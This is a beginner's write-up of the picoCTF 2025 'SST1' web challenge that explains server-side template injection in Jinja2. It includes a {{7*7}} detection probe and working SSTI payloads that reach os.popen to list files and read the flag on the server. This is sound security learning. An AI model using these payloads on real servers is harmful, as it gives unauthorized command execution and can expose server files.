> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2025/web-exploitation/sst1-easy.md).

# SST1 (Easy)

<figure><img src="/files/760fj7EbGhxoVa2iNSXN" alt=""><figcaption></figcaption></figure>

To preface this challenge, let me just say that this is my first web exploitation CTF! I was always intimidated by Web Exploitation specifically since it just contains so much information and skills, but I do want to try to get better.&#x20;

But anyways, starting off with the the title "SST1" it hints that it utilizes SSTI (Server-Side Template Injection).&#x20;

### But what's even SSTI?&#x20;

Simply put: "Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side."

{% embed url="<https://portswigger.net/web-security/server-side-template-injection>" %}

But what's even a Server-Side Template? Web frameworks/pages often use templates to generate HTML dynamically. Some example are Jinja2, Twig, and Velocity. The code looks like this:

```
### Example 1
Hello {{ username }}

### Example 2
from jinja2 import Template

def render_template(template, **context):
    t = Template(template)
    return t.render(**context)

template = input('Enter a template: ')
context = {'user': 'Alice'}
print(render_template(template, **context))
```

If that doesn't make sense, basically SSTI takes the user input, and the server takes that input to display on their website using HTML.&#x20;

### Cracking the case

One way to check if a website has SSTI, is to use the following code:

```
{{7*7}}
```

<figure><img src="/files/dPavfK6GsorjtIv5F2iJ" alt=""><figcaption></figcaption></figure>

I used it, and found it did calculate 49! This means there's definitely SSTI, and I'm guessing Jinja2 since that's typically more popular. But from here on out, it gets a little foggy on what to do next. I tried searching up more resources from what payloads to input, but couldn't find much. Until...

{% embed url="<https://github.com/payloadbox/ssti-payloads>" %}

I tried one of the commands that listed the files (like ls)

```
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```

<figure><img src="/files/e5FCY0lpAK1jTqEAxdVu" alt=""><figcaption></figcaption></figure>

Knowing this, I knew we were already really close. I then executed this command:

```
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
```

And with this, I got the flag!
